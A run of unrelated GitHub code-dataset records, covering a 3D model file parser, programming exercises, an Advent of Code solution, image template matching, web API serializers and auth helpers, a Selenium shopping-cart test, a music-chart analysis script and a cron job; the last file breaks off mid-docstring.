0x54534449:\n            raise Exception('this is not mdl file')\n        self.name = _read_name64(buf)\n        buf.seek(76, 1)\n        self.flags = MDLFlag(_struct_unpack('=I', buf)[0])\n        # bone\n        (num, off) = _struct_unpack('=ii', buf)\n        home = buf.tell()\n        buf.seek(off)\n        self.bones = list(map(MDLBone, [buf]*num))\n        buf.seek(home + 40)\n        # texture\n        (num, off) = _struct_unpack('=ii', buf)\n        home = buf.tell()\n        buf.seek(off)\n        self.textures = list(map(MDLTexture, [buf]*num))\n        buf.seek(home + 8)\n        # skins\n        (num, fnum, off) = _struct_unpack('=iii', buf)\n        home = buf.tell()\n        buf.seek(off)\n        self.skins = [\n            [self.textures[_struct_unpack('=h', buf)[0]]\n             for _ in range(num)] for _ in range(fnum)\n        ]\n        buf.seek(home)\n\n        # bodypart\n        (num, off) = _struct_unpack('=ii', buf)\n        buf.seek(off)\n        self.bodyparts = list(map(MDLBodyPart, [buf]*num))\n        # home = buf.tell()\n        self._bone_assemble()\n\n    def _bone_assemble(self):\n        for bone in self.bones:\n            if bone.parent_id < 0:\n                self.root_bone = bone\n                continue\n            parent = self.bones[bone.parent_id]\n            bone.parent = parent\n            parent.children.append(bone)\n","repo_name":"aoisensi/srcstudiomodel","sub_path":"srcstudiomodel/mdl.py","file_name":"mdl.py","file_ext":"py","file_size_in_byte":6091,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"1241414161","text":"\n# 与えられたデータ(listやtuple): data\n# データの長さ: n\n# 選ぶ数: r\n# 重複あり順列の総数: H(n,r)\n# 順列の総数: P(n,r)\n# 重複あり組み合わせの総数: Π(n,r)\n# 組み合わせの総数: C(n,r)\n\ndata = [1,2,3]\nresult = []\n\n## 重複あり順列\n# for i in range(len(data)):\n#     for j in range(len(data)):\n#         for k in range(len(data)):\n#             result.append([data[i],data[j],data[k]])\n#             print(result)\n\n## 重複あり組み合わせ\n# def listExcludedIndices(data, indices=[]):\n#     return [ x for i, x in enumerate(data) if 1 not in indices ]\n\n# for i in range(len(data)):\n#     for j in range(i, len(data)):\n#         for k in range(j, len(data)):\n#             result.append([data[i],data[j],data[k]])\n#             print(result)\n\n## 重複なし組み合わせ\n# def listExcludedIndices(data, indices=[]):\n#     return [ x for i, x in enumerate(data) if 1 not in indices ]\n\n\n# for i in range(len(data)):\n#   for j in range(i + 1, len(data)):\n#     for k in range(j + 1, len(data)):\n#       result.append([data[i], data[j], data[k]])\n#       print(result)\n\n## 再帰版  重複あり順列\n# def permutationWithRepetitionListRecursive(data, r):\n#   if r <= 0:\n#     return []\n\n#   result = []\n#   _permutationWithRepetitionListRecursive(data, r, [], result)\n#   return result\n\n# def _permutationWithRepetitionListRecursive(data, r, progress, result):\n#   if r == 0:\n#     result.append(progress)\n#     return\n\n#   for i in range(len(data)):\n#     _permutationWithRepetitionListRecursive(data, r - 1, progress + [data[i]], result)\n\n# print(permutationWithRepetitionListRecursive(data, 1))\n\n\n## 再帰版 順列\n\n# def permutationWithRepetitionListRecursive(data, r):\n#   if r <= 0:\n#     return []\n\n#   result = []\n#   _permutationWithRepetitionListRecursive(data, r, [], result)\n#   return result\n\n# def _permutationWithRepetitionListRecursive(data, r, progress, result):\n#   if r == 0:\n#     result.append(progress)\n#     return\n\n#   for i in range(len(data)):\n#     _permutationWithRepetitionListRecursive(listExcludedIndices(data,[i]), r - 1, progress + [data[i]], result)\n\n# def listExcludedIndices(data, indices=[]):\n#     return [ x for i, x in enumerate(data) if 1 not in indices ]\n\n# print(permutationWithRepetitionListRecursive(data, 3))\n\n## 再帰版 重複あり組み合わせ\n\n# def combinationWithRepetitionListRecursive(data, r):\n#   if r <= 0:\n#     return []\n\n#   result = []\n#   _combinationWithRepetitionListRecursive(data, r, 0, [], result)\n#   return result\n\n# ## スタート位置を指定\n# def _combinationWithRepetitionListRecursive(data, r, start, progress, result):\n#   if r == 0:\n#     result.append(progress)\n#     return\n\n#   for i in range(start, len(data)):\n#     _combinationWithRepetitionListRecursive(data, r - 1, i, progress + [data[i]], result)\n\n# print(combinationWithRepetitionListRecursive(data, 3))\n\n\n## 再帰版 組み合わせ\ndef combinationListRecursive(data, r):\n  if r == 0 or r > len(data):\n    return []\n\n  result = []\n  _combinationListRecursive(data, r, 0, [], result)\n  return result\n\n\ndef _combinationListRecursive(data, r, start, progress, result):\n  if r == 0:\n    result.append(progress)\n    return\n\n  for i in range(start, len(data)):\n    #別解 \n    _combinationListRecursive(listExcludedIndices(data, [i]), r - 1, i, progress + [data[i]], result)\n\n\ndef listExcludedIndices(data, indices=[]):\n    return [ x for i, x in enumerate(data) if 1 not in indices ]\n\nprint(combinationListRecursive(data, 3))\n\n\n","repo_name":"Kohei312/Python_practice","sub_path":"basic/algorythmn/chapter4/practice0.py","file_name":"practice0.py","file_ext":"py","file_size_in_byte":3533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"42663554130","text":"import re\n\n# extracts coordinates of each instruction\nwith open(\"day5input.txt\") as f:\n    file = f.read().splitlines()\ncoord = [re.findall(\"(\\d+),(\\d+) -> (\\d+),(\\d+)\", instruct) for instruct in file]\n\n# find the maximum x and y coordinate in the instructions\nmaxx, maxy = 0, 0\nfor i in coord:\n    for j in i:\n        maxx, maxy = max(maxx, int(j[0]), int(j[2])), max(maxy, int(j[1]), int(j[3]))\nmatrix = [[0] * (maxx + 1) for _ in range(maxy + 1)]\n\n\n# part 2 for finding diagonall pipes\ndef diagonal(matrix, x1, y1, x2, y2):\n    if x1 > x2:\n        x1, y1, x2, y2 = x2, y2, x1, y1\n\n    slope = (y2 - y1) // (x2 - x1)\n    for i, j in zip(range(x1, x2), range(y1, y2, slope)):\n        matrix[j][i] += 1\n    matrix[y2][x2] += 1\n\n\n# increments the coordinate by 1 if a line crosses\nfor instruct in coord:\n    x1, y1, x2, y2 = (\n        int(instruct[0][0]),\n        int(instruct[0][1]),\n        int(instruct[0][2]),\n        int(instruct[0][3]),\n    )\n    if x1 == x2 and y1 != y2:\n        for i in range(min(y1, y2), max(y1, y2) + 1):\n            matrix[i][x1] += 1\n    elif y1 == y2 and x1 != x2:\n        for i in range(min(x1, x2), max(x1, x2) + 1):\n            matrix[y1][i] += 1\n    else:\n        diagonal(matrix, x1, y1, x2, y2)\n\nans = [[1 for i in x if i >= 2] for x in matrix]\nprint(sum(len(x) for x in ans))\n","repo_name":"schiang28/AoC-Solutions","sub_path":"AoC 2021/day5.py","file_name":"day5.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"74208417699","text":"\n\"\"\"\nt.forward\tt.fd\nt.backward\tt.bk\nt.left\t\tt.lt\nt.right\t\tt.rt\n\nt.reset\n\n\"\"\"\n\nimport duodecima as dd\n\ndef asdf(lgt):\n    dd.poligono(4, lgt)\n    \n    t.fd(lgt)\n    dd.poligono(4, lgt/2)\n    \n    t.lt(90)\n    t.fd(lgt/2)\n    t.rt(90)\n\ndef recursion(pasos, lgt):\n    for i in range(pasos):\n        asdf(lgt)\n        lgt /= 2\n    dd.poligono(4, lgt)\n\n\"\"\"\nque es un generador\n\n0\t1\t2\t3\t4\t5\n1\t2\t3\t4\t5\t6\n\nyield(now + 1)  now\n\"\"\"\n\ndef enteros(empieza):\n    while True:\n        empieza += 1\n        yield empieza\n","repo_name":"PythonCisco/clase","sub_path":"clases/duodecimaprimera.py","file_name":"duodecimaprimera.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2439002247","text":"#previous video we went over lists & a few list methods: \n\t#append, remove, insert, pop, copy, and count methods\n\n#Today we are going to go over lists splicing and a couple additional lists\n\t#sort, reverse, join\n\n\n#Locations:  0\t\t\t1\t\t   2\t\t3 \t\t\t4\t\t  5\t\t\t6\n#\t\t\t-7\t\t\t-6\t\t\t-5\t\t-4\t\t\t-3\t\t\t-2\t\t-1\nnfl_teams = [\"raiders\", \"saints\", \"ravens\", \"chargers\", \"bills\", \"chiefs\", \"texans\"]\nnums = [100, 99, 1, 83, 7, 98, 87]\ntxt_file = [\"hello\", 'my', 'name', 'is', 'hunter']\n\n\nprint(nfl_teams[-1:-4])","repo_name":"huntermacias/python-curriculum","sub_path":"review_videos_files/lists_part_two.py","file_name":"lists_part_two.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"9502805062","text":"import cv2 as cv\nimport numpy as np\nfrom package.Rectangle import Rectangle\n\nclass CatchObject:\n\n     def __init__(self, color_bgr, name, needle_img_path, scale_percent):\n         self.line_color = color_bgr\n         self.name = name\n         self.method = cv.TM_CCOEFF_NORMED\n         #self.method = cv.TM_SQDIFF_NORMED\n         self.needle_img = cv.imread(needle_img_path, cv.IMREAD_COLOR)\n         self.needle_w = self.needle_img.shape[1]  # Collim width\n         self.needle_h = self.needle_img.shape[0]  # Collim heigth\n\n         self.scale_percent = scale_percent  # %\n         self.needle_width_resized = int(self.needle_img.shape[1] * self.scale_percent / 100)\n         self.needle_height_resized = int(self.needle_img.shape[0] * self.scale_percent / 100)\n         self.dim = (self.needle_width_resized, self.needle_height_resized)\n         self.need_img_resized = cv.resize(self.needle_img, self.dim, interpolation=cv.INTER_AREA)\n\n     def findPosition(self, haystack_img, threshold=0.5):\n        \"\"\"\n        Donada una imatge, retorna les posicions de l'objecte.\n        :param haystack_img: Imatge on es vol cercar\n        :param threshold: Percentatge acceptat\n        :return: Llista de objecte Rectangle.\n        \"\"\"\n\n        # Si la imatge on volem cercar l'objecte és més petita que la del propi objecte. Retornam directament.\n        if haystack_img.shape[0] <= self.needle_w or haystack_img.shape[1] <= self.needle_h:\n            return []\n\n        result = cv.matchTemplate(haystack_img, self.needle_img, self.method)\n\n        locations = np.where(result >= threshold)\n        #locations = np.where(result <= threshold)\n\n        locations = list(zip(*locations[::-1])) # list(): convert an iterator to list\n                                                # zip():  returns an iterator of tuples based on the iterable objects.\n                                                # The * operator can be used in conjunction with zip() to unzip the list\n                                                # [::-1]: Sintaxis iterable[inicio:fin:paso] Devuelve una lista al revés\n\n\n        # Cream la llista dels rectangles [pos_x, pos_y, width, height]\n        rectangles = []\n        for loc in locations:\n            rect = [int(loc[0]), int (loc[1]), self.needle_w, self.needle_h]\n            rectangles.append(rect)\n\n        # Agrupam els rectangles en un. Ja que un mateix objecte pot estar més d'una vegada rectangulat.\n        rectangles, weights = cv.groupRectangles(rectangles, groupThreshold=1,\n                                                 eps=0.5)   # El darrer paràmetre ens diu com de aprop estan els\n                                                            # rectangles que volem agrupar\n\n        if len(rectangles) > 10:\n            rectangles = rectangles[:10]\n\n        rectangle_object = []\n        for (x, y, w, h) in rectangles:\n            rectangle_object.append(Rectangle(x, y, w, h, self.line_color, self.name))\n\n        return rectangle_object\n\n     def findPosition_reduce(self, haystack_img, threshold=0.5):\n         \"\"\"\n         Donada una imatge, retorna les posicions de l'objecte. Internament duu a terme una reducció de la imatge\n         de cerca per tal d'aconseguir major rendiment de l'algoritme.\n         :param haystack_img: Imatge on es vol cercar\n         :param threshold: Percentatge acceptat\n         :return: Llista de objecte Rectangle.\n         \"\"\"\n         haystack_width = haystack_img.shape[1] * self.scale_percent / 100\n         haystack_height = haystack_img.shape[0] * self.scale_percent / 100\n         haystack_dim = (int(haystack_width), int(haystack_height))\n\n         # Redimensionam la imatge\n         haystack_resized = cv.resize(haystack_img, haystack_dim, interpolation=cv.INTER_AREA)\n\n         # Si la imatge on volem cercar l'objecte és més petita que la del propi objecte. Retornam directament\n         if haystack_width <= self.needle_width_resized or haystack_height <= self.needle_height_resized:\n             return []\n\n         result = cv.matchTemplate(haystack_resized, self.need_img_resized, self.method)\n\n         locations = np.where(result >= threshold)\n         locations = list(zip(*locations[::-1]))\n\n         # Cream la llista dels rectangles [pos_x, pos_y, width, height]\n         rectangles = []\n         for loc in locations:\n             rect = [int(loc[0])+1, int(loc[1])+1, self.needle_width_resized, self.needle_height_resized]\n             rectangles.append(rect)\n\n         # Agrupam els rectangles en un. Ja que un mateix objecte pot estar més d'una vegada rectangulat.\n         rectangles, weights = cv.groupRectangles(rectangles, groupThreshold=1,\n                                                  eps=0.5)  # El darrer paràmetre ens diu com de aprop estan\n                                                            # els rectangles\n\n         if len(rectangles) > 10:\n             rectangles = rectangles[:10]\n\n         rectangle_object = []\n         for (x, y, w, h) in rectangles:\n             rectangle_object.append(Rectangle(int(x * (1/(self.scale_percent/100))),\n                                               int(y * (1/(self.scale_percent/100))),\n                                               int(w * (1/(self.scale_percent/100))),\n                                               int(h * (1/(self.scale_percent/100))), self.line_color, self.name))\n\n         return rectangle_object\n\n","repo_name":"JSf98/IA-Mario","sub_path":"PlayNetwork/package/CatchObject.py","file_name":"CatchObject.py","file_ext":"py","file_size_in_byte":5405,"program_lang":"python","lang":"ca","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"38381682067","text":"from rest_framework import serializers\n\nfrom apps.churchs.models import Church\n\n\nclass ChurchInfoSerializer(serializers.ModelSerializer):\n    church_id = serializers.SerializerMethodField()\n    denomination = serializers.SerializerMethodField()\n    denomination_list = serializers.SerializerMethodField()\n    directions_parking = serializers.SerializerMethodField()\n    directions_own_car = serializers.SerializerMethodField()\n    directions_public_transport = serializers.SerializerMethodField()\n    directions_shuttle_bus = serializers.SerializerMethodField()\n\n    class Meta:\n        model = Church\n        fields = (\n            \"church_id\",\n            \"name\",\n            \"contact_number\",\n            \"denomination\",\n            \"denomination_list\",\n            \"introduction_title\",\n            \"introduction_content\",\n            \"is_exposure\",\n            \"address\",\n            \"detail_address\",\n            \"thumbnail\",\n            \"logo\",\n            \"directions_parking\",\n            \"directions_own_car\",\n            \"directions_public_transport\",\n            \"directions_shuttle_bus\",\n        )\n\n    def get_church_id(self, obj):\n        try:\n            return obj.id\n        except:\n            return \"\"\n\n    def get_denomination(self, obj):\n        try:\n            return obj.denomination.name\n        except:\n            return \"\"\n\n    def get_denomination_list(self, obj):\n        return self.context.get(\"denomination_list\", [])\n\n    def get_directions_parking(self, obj):\n        try:\n            return obj.churchdirections.parking\n        except:\n            return \"\"\n\n    def get_directions_own_car(self, obj):\n        try:\n            return obj.churchdirections.own_car\n        except:\n            return \"\"\n\n    def get_directions_public_transport(self, obj):\n        try:\n            return obj.churchdirections.public_transport\n        except:\n            return \"\"\n\n    def get_directions_shuttle_bus(self, obj):\n        try:\n            return obj.churchdirections.shuttle_bus\n        except:\n            return \"\"\n","repo_name":"myeonginjin/api.jooda.org","sub_path":"api.jooda.com-main/repo/apps/administrators/v1/serializers/churchs/info_serializer.py","file_name":"info_serializer.py","file_ext":"py","file_size_in_byte":2051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28478465868","text":"from fastapi import Depends, HTTPException, status, WebSocket, Query\nfrom jose import jwt, JWTError\nfrom sqlalchemy.orm import Session\n\nfrom database.db import SessionLocal\nfrom database import models\nfrom security import security_token, schemas\nfrom services import get_user_by_username_or_email\n\n\ndef get_db():\n    \"\"\"Returns a database `Session`.\n\n    Yields:\n        `Iterator[SessionLocal]`: A database connection.\n    \"\"\"\n\n    db = SessionLocal()\n    try:\n        yield db\n    finally:\n        db.close()\n\n\ndef get_user(user_token: str, db: Session):\n    \"\"\"Returns the current user if he passes authentication.\n\n    Args:\n        `user_token` (str, optional): User's token.\n        `db` (Session, optional): Database connection.\n\n    Raises:\n        `HTTPException`: If there's no key `sub` in a given token.\n        `HTTPException`: In case of JWTError.\n        `HTTPException`: If there's no user with this username.\n\n    Returns:\n        models.User: A current user.\n    \"\"\"\n\n    credentials_exception = HTTPException(\n        status_code=status.HTTP_401_UNAUTHORIZED,\n        detail=\"Could not validate credentials\",\n        headers={\"WWW-Authenticate\": \"Bearer\"},\n    )\n    try:\n        payload = jwt.decode(user_token, security_token.SECRET_KEY, algorithms=[security_token.ALGORITHM])\n        username: str = payload.get(\"sub\")\n        if username is None:\n            raise credentials_exception\n        token_data = schemas.TokenData(username=username)\n    except JWTError:\n        raise credentials_exception\n\n    user = get_user_by_username_or_email(db=db, username=token_data.username)\n\n    if user is None:\n        raise credentials_exception\n    return user\n\n\nasync def get_current_user(\n        user_token: str = Depends(security_token.oauth2_scheme),\n        db: Session = Depends(get_db)\n) -> models.User:\n    return get_user(user_token, db)\n\n\nasync def get_token_in_query(\n    websocket: WebSocket,\n    token: str = Query(...),\n):\n    return token.replace('Bearer ', '')\n\n\nasync def get_current_user_by_query(\n        user_token: str = Depends(get_token_in_query),\n        db: Session = Depends(get_db)\n) -> models.User:\n    return get_user(user_token, db)\n","repo_name":"Gipssik/observers-backend","sub_path":"dependencies.py","file_name":"dependencies.py","file_ext":"py","file_size_in_byte":2181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"71729913700","text":"'''\nCreated on 15.02.2011\n\n@author: marc\n'''\nimport unittest\n\n\nclass Test(unittest.TestCase):\n\n\n    def testOdict(self):\n        from comoonics.tools.odict import Odict\n        _in={ \"a\": \"A\", \"b\": \"B\", \"d\": \"D\", \"c\":\"C\" }\n        _out=Odict()\n#        print \"testing dict\"\n#        print \"adding to odict sorted: %s\" %_in\n        _keys=_in.keys()\n        _keys.sort()\n        for _key in _keys:\n            _value=_in[_key]\n#            print \"Adding %s: %s\" %(_key, _value)\n            _out[_key]=_value\n#        print \"output ordered dict: %s\" %_out\n        self.assertEquals(_keys, _out.keys(), \"Sorted input %s is not equal to sorted output %s\" %(_keys, _out.keys()))\n\n\nif __name__ == \"__main__\":\n    #import sys;sys.argv = ['', 'Test.testName']\n    unittest.main()","repo_name":"comoonics/comoonics-cluster-suite","sub_path":"lib/comoonics/tools/test/testOdict.py","file_name":"testOdict.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"22820984332","text":"import HtmlTestRunner\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.firefox.service import Service as FirefoxService\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom webdriver_manager.firefox import GeckoDriverManager\n\nimport time\nimport unittest\n\n\nclass AddProductTest(unittest.TestCase):\n    global driver\n\n    @classmethod\n    def setUpClass(cls):\n        cls.driver = webdriver.Firefox(service=FirefoxService(GeckoDriverManager().install()))\n        cls.driver.get(\"https://demo.nopcommerce.com/\")\n        cls.driver.implicitly_wait(10)\n        cls.wait = WebDriverWait(cls.driver, 10)\n\n    def test_login(self):\n        click_login = self.driver.find_element(By.LINK_TEXT, \"Log in\")\n        click_login.click()\n\n        # check condition\n        expected_title = \"nopCommerce demo store. Login\"\n        self.assertEqual(expected_title, self.driver.title)\n        assert True\n        time.sleep(2)\n        # select located element\n        email_field = self.driver.find_element(By.ID, \"Email\")\n        password_filed = self.driver.find_element(By.ID, \"Password\")\n        login = self.driver.find_element(By.XPATH, \"//button[normalize-space()='Log in']\")\n\n        # input data\n        self.assertEqual(email_field.is_enabled(), email_field.is_displayed())\n        email_field.send_keys(\"hello@gmail.com\")\n        self.assertTrue(password_filed.is_displayed(), password_filed.is_enabled())\n        try:\n            password_filed.send_keys(\"123456\")\n        except:\n            self.driver.get_screenshot_as_file(\"G:\\\\SQA\\\\NopCommerce\\\\ScreenShoot\\\\login1.png\")\n        login.click()\n\n    def test_remove_product(self):\n        # click shopping cart\n        click_shopping_cart = self.driver.find_element(By.CSS_SELECTOR, \".cart-label\")\n        click_shopping_cart.click()\n\n        # check condition after click shopping cart\n        actual_text = self.driver.find_element(By.XPATH, \"//h1[normalize-space()='Shopping cart']\").text\n        expected_text = \"Shopping cart\"\n        self.assertTrue(actual_text, expected_text)\n        assert True\n\n        # remove button click\n        time.sleep(2)\n        click_remove_icon = self.driver.find_element(By.XPATH, \"//button[@class='remove-btn']\")\n        if click_remove_icon.is_enabled() and click_remove_icon.is_displayed():\n            try:\n                click_remove_icon.click()\n            except:\n                self.driver.get_screenshot_as_file(\"G:\\\\SQA\\\\NopCommerce\\\\ScreenShoot\\\\removeproduct.png\")\n\n        # single product have added and remove after check conditon\n        expected_text_after_remove = self.driver.find_element(By.XPATH, \"//div[@class='no-data']\")\n        actual_text_after_remove = \"Your Shopping Cart is empty!\"\n        self.assertTrue(expected_text_after_remove, actual_text_after_remove)\n        try:\n            print(\"Remove succesfull.....\")\n        except:\n            self.driver.get_screenshot_as_file(\"G:\\\\SQA\\\\NopCommerce\\\\ScreenShoot\\\\removeproduct1.png\")\n\n    @classmethod\n    def tearDownClass(cls):\n        cls.driver.quit()\n\n\nif __name__ == \"__main__\":\n    unittest.main(\n        testRunner=HtmlTestRunner.HTMLTestRunner(output=\"G://SQA//NopCommerce//Report//removeproduct\"))\n","repo_name":"AbdullahAlNoman7/NopCommerce","sub_path":"RemoveProduct/test_remove_product.py","file_name":"test_remove_product.py","file_ext":"py","file_size_in_byte":3240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"19396971979","text":"\"\"\"Contruct song features as time series \"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport string \nimport matplotlib.pyplot as plt\n\n# Read The Echo Nest features into DataFrame\nframe=[]\nfile_list=['number']+list(string.ascii_uppercase)\nfor fname in file_list:\n\tfpath='data/model/Echo/'+fname+'.tsv'\n\tdf=pd.read_csv(fpath,sep='\\t',encoding='utf8')\n\tframe.append(df)\ndf=pd.concat(frame,ignore_index=True)\ndf_echo=df.rename(columns={'typ':'echo_typ','genre_typ':'echo_genre_typ','artist_typ':'echo_artist_typ'})\n\nframe=[]\n\n# model_num can be 0 to 3\nmodel_num=1\n\n# Merge topic models into DataFrame\nfor fname in file_list:\n\tfpath='data/model/'+str(model_num)+'/'+fname+'.tsv'\n\tdf=pd.read_csv(fpath,sep='\\t',encoding='utf8')\n\tframe.append(df)\ndf=pd.concat(frame,ignore_index=True)\ndf=df.join(df_echo[['echo_typ','echo_genre_typ','echo_artist_typ']])\n\n# Truncated The Echo Nest similarity histogram\nfig, ax = plt.subplots(figsize=(8,6))\ndf[df.echo_typ>0.025].echo_typ.hist(bins=np.array(100),alpha=0.75)\ndf[df.echo_genre_typ>0.025].echo_genre_typ.hist(bins=np.array(100),alpha=0.75)\ndf[df.echo_artist_typ>0.025].echo_artist_typ.hist(bins=np.array(100),alpha=0.75)\nplt.ylabel('Count')\nplt.xlabel('Similarity')\nax.spines['top'].set_visible(False)\nax.spines['right'].set_visible(False)\nplt.grid(False)\nplt.legend(['Chart','Genre','Artist'])\n\n# Truncated topic model similarity histograms (depends on model_num)\nfig, ax = plt.subplots(figsize=(8,6))\ndf[df.typ>0.025].typ.hist(bins=np.array(100),alpha=0.75)\ndf[df.genre_typ>0.025].genre_typ.hist(bins=np.array(100),alpha=0.75)\ndf[df.artist_typ>0.025].artist_typ.hist(bins=np.array(100),alpha=0.75)\nplt.ylabel('Count')\nplt.xlabel('Similarity')\nax.spines['top'].set_visible(False)\nax.spines['right'].set_visible(False)\nplt.grid(False)\nplt.legend(['Chart','Genre','Artist'])\n\n# Expanded genre variables to track change in frequency of each genre \ngenres=['hip','rap','rock','metal','folk','country','blues','r&b','soul','disco','funk','pop','none']\nfor g in genres:\n\tdf[g]=0\nfor x in df.iterrows():\n\tdf.loc[df.index==x[0],genres[x[1].genre]]=1\n\n# Expanded key variables \nkeys=['key0','key1','key2','key3','key4','key5','key6','key7','key8','key9','key10','key11']\nfor k in keys:\n\tdf[k]=0\nfor x in df.iterrows():\n\tdf.loc[df.index==x[0],keys[x[1].key]]=1\n\n# Merge chart data into existing DataFrame to get detailed chart data, a song record for each week\ncpath=\"data/chart_record.tsv\"\ndf_chart=pd.read_csv(cpath,sep=\"\\t\",encoding=\"utf-8\")\ndf=df_chart.merge(df)\n\n# Convert date to index for time series\ndf.date=pd.to_datetime(df.date)\ndates=np.sort(np.unique(df.date.tolist()))\ndf.index=df.date\n\n# Count of songs histogram \nfig, ax = plt.subplots(figsize=(8,6))\t\ndf.date.hist(bins=len(dates))\nplt.ylabel('Count')\nplt.xlabel('Date')\nax.spines['top'].set_visible(False)\nax.spines['right'].set_visible(False)\nplt.grid(False)\nplt.show()\n\n# Feature sets used in temporal analysis \n\n# 10 topic model \n# features=[\"energy\",\"liveness\",\"tempo\",\"speechiness\",\n# \t\"acousticness\",\"instrumentalness\",\"time_signature\",\"danceability\",\n# \t\"valence\",\"mode\",\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"typ\",\"echo_typ\",\n# \t'hip','rap','rock','metal','folk','country','blues','r&b','soul','disco','funk','pop','none',\n# \t'key0','key1','key2','key3','key4','key5','key6','key7','key8','key9','key10','key11']\n\n# 80 topic model \n# features=[\"energy\",\"liveness\",\"tempo\",\"speechiness\",\n# \t\"acousticness\",\"instrumentalness\",\"time_signature\",\"danceability\",\n# \t\"valence\",\"mode\",\n# \t\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\n# \t\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\",\n# \t\"20\",\"21\",\"22\",\"23\",\"24\",\"25\",\"26\",\"27\",\"28\",\"29\",\n# \t\"30\",\"31\",\"32\",\"33\",\"34\",\"35\",\"36\",\"37\",\"38\",\"39\",\n# \t\"40\",\"41\",\"42\",\"43\",\"44\",\"45\",\"46\",\"47\",\"48\",\"49\",\n# \t\"50\",\"51\",\"52\",\"53\",\"54\",\"55\",\"56\",\"57\",\"58\",\"59\",\n# \t\"60\",\"61\",\"62\",\"63\",\"64\",\"65\",\"66\",\"67\",\"68\",\"69\",\n# \t\"70\",\"71\",\"72\",\"73\",\"74\",\"75\",\"76\",\"77\",\"78\",\"79\",\n# \t\"typ\",\"echo_typ\",\n# \t'hip','rap','rock','metal','folk','country','blues','r&b','soul','disco','funk','pop','none',\n# \t'key0','key1','key2','key3','key4','key5','key6','key7','key8','key9','key10','key11']\n\n# 20 topic model \nfeatures=[\"energy\",\"liveness\",\"tempo\",\"speechiness\",\n\t\"acousticness\",\"instrumentalness\",\"time_signature\",\"danceability\",\n\t\"valence\",\"mode\",\n\t\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\n\t\"10\",\"11\",\"12\",\"13\",\"14\",\"15\",\"16\",\"17\",\"18\",\"19\",\n\t\"typ\",\"echo_typ\",\n\t'hip','rap','rock','metal','folk','country','blues','r&b','soul','disco','funk','pop','none',\n\t'key0','key1','key2','key3','key4','key5','key6','key7','key8','key9','key10','key11']\ndf=df[features]\ndf_features=pd.DataFrame(columns=features)\n\n# Normalize feature values at each week based on the number of songs on the charts that we have records for \nfor d in dates:\n\tdf_sub=df.loc[df.index==d].astype('float64')\n\tdf_features.loc[d]=df_sub.sum()/np.array([len(df_sub) if f not in genres else 1 for f in features])\n\n# Write to file\ndf_features.to_csv('data/model_tm1.tsv',sep='\\t',index=True,encoding='utf8')","repo_name":"jonathanperrie/masters_thesis","sub_path":"scripts/build_feature_ts.py","file_name":"build_feature_ts.py","file_ext":"py","file_size_in_byte":4994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25889633996","text":"from deta import app\nimport os, time, concurrent.futures\nfrom CyberpeckerCronJob import CyberPeckerCronJob\nfrom dotenv import load_dotenv\nload_dotenv()\n\n@app.lib.cron()\ndef cron_task(event):\n    url = os.getenv(\"BASE_URL\")\n    cron_job: CyberPeckerCronJob = CyberPeckerCronJob()\n    routes: list = cron_job._get_news_route()\n\n    total_time_start: float = time.time()\n\n    with concurrent.futures.ThreadPoolExecutor(max_workers=cron_job.WORKERS) as executor:\n        futures = {executor.submit(cron_job.get_news_response, route) for route in routes}\n        concurrent.futures.wait(futures)\n\n    total_time_end = time.time()     \n    \n    return f'Successfully completed cronjob in : {round(total_time_end - total_time_start, 2)}s with {cron_job.WORKERS} workers and {len(routes)} routes to hit for {url}'","repo_name":"hitesh22rana/cyberpecker-api-cronjob","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16679595970","text":"import os, random, re, sys\n\nif sys.platform == 'darwin':\n    SUFFIX = '.mac'\nelif sys.platform == 'linux':\n    SUFFIX = '.linux'\nelse:\n    raise Exception(\"Unknown operating system, {}. This program does not run on Atari, Windows or Solaris or other junk\".format(os.name))\n\nPATH = \"direvo/bikeshed\"\n\n\ndef pedel(library_size, sequence_length, mean_number_of_mutations_per_sequence):\n    # Usage './pedel.mac library_size sequence_length mean_number_of_mutations_per_sequence'.\n    return wrap('pedel', '=', library_size, sequence_length, mean_number_of_mutations_per_sequence)\n\n\ndef pedel_stats(library_size, sequence_length, mean_number_of_mutations_per_sequence):\n    '''\n    Caculates sublibrary composition.\n    :param library_size:\n    :param sequence_length:\n    :param mean_number_of_mutations_per_sequence:\n    :return:\n    '''\n    # Usage './stats.batch.mac library_size sequence_length mean_number_of_mutations_per_sequence outfile'.\n    '''\n    x = exact number of mutations per sequence.\n    Px = Poisson probability of x mutations, given m.\n    Lx = expected number of sequences in library with exactly x mutations.\n    Vx = number of possible sequences with exactly x mutations.\n    Cx = expected number of distinct sequences in the sub-library comprising sequences with exactly x mutations.\n    Cx/Vx = completeness of sub-library.\n    Lx - Cx = number of redundant sequences in sub-library.\n    :param 